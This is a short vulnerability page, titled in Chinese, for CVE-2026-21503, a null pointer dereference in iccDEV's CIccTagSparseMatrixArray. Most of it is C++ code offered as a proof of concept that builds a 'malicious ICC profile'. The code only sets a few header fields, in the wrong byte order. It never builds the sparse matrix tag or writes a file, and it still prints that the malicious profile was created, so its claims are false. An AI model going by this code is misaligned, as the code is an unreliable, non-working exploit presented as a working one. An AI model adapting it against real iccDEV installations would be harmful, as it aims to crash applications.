CVE-2026-21503 iccDEV CIccTagSparseMatrixArray空指针解引用漏洞

// PoC for CVE-2026-21503: Null pointer dereference in CIccTagSparseMatrixArray // This PoC creates a malicious ICC profile that triggers the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <cstdint> // ICC Profile Header Structure struct ICCProfileHeader { uint32_t size; uint32_t magic; uint32_t version; uint32_t profile_class; uint32_t color_space; uint32_t pcs; uint32_t creation_date[3]; uint32_t signature; uint32_t platform; uint32_t flags; uint32_t device_manufacturer; uint32_t device_model; uint32_t device_attributes[2]; uint32_t rendering_intent; uint32_t pcs_illuminant[3]; uint32_t creator; uint32_t profile_id[4]; } __attribute__((packed)); // Malicious SparseMatrixArray tag to trigger null pointer in memcpy unsigned char* createMaliciousICCProfile() { unsigned char* profile = (unsigned char*)malloc(1024); if (!profile) return NULL; memset(profile, 0, 1024); // Set up profile header ICCProfileHeader* header = (ICCProfileHeader*)profile; header->size = 1024; header->magic = 0x61637370; // 'acsp' header->version = 0x04000000; // Version 4.0 header->profile_class = 0x73636E72; // 'scnr' header->color_space = 0x52474220; // 'RGB ' header->pcs = 0x58595A20; // 'XYZ ' // Fill remaining header fields... // The PoC demonstrates the vulnerability by crafting a profile // that will cause CIccTagSparseMatrixArray to pass NULL to memcpy // when parsing malformed sparse matrix array data. // To trigger: Load this profile using vulnerable iccDEV version < 2.3.1.2 // Expected result: Application crash due to null pointer dereference return profile; } int main() { printf("CVE-2026-21503 PoC - iccDEV Null Pointer Dereference\n"); printf("This PoC creates a malicious ICC profile.\n"); printf("Load with vulnerable iccDEV version to trigger the bug.\n"); unsigned char* poc = createMaliciousICCProfile(); if (poc) { printf("Malicious ICC profile created successfully.\n"); free(poc); } return 0; }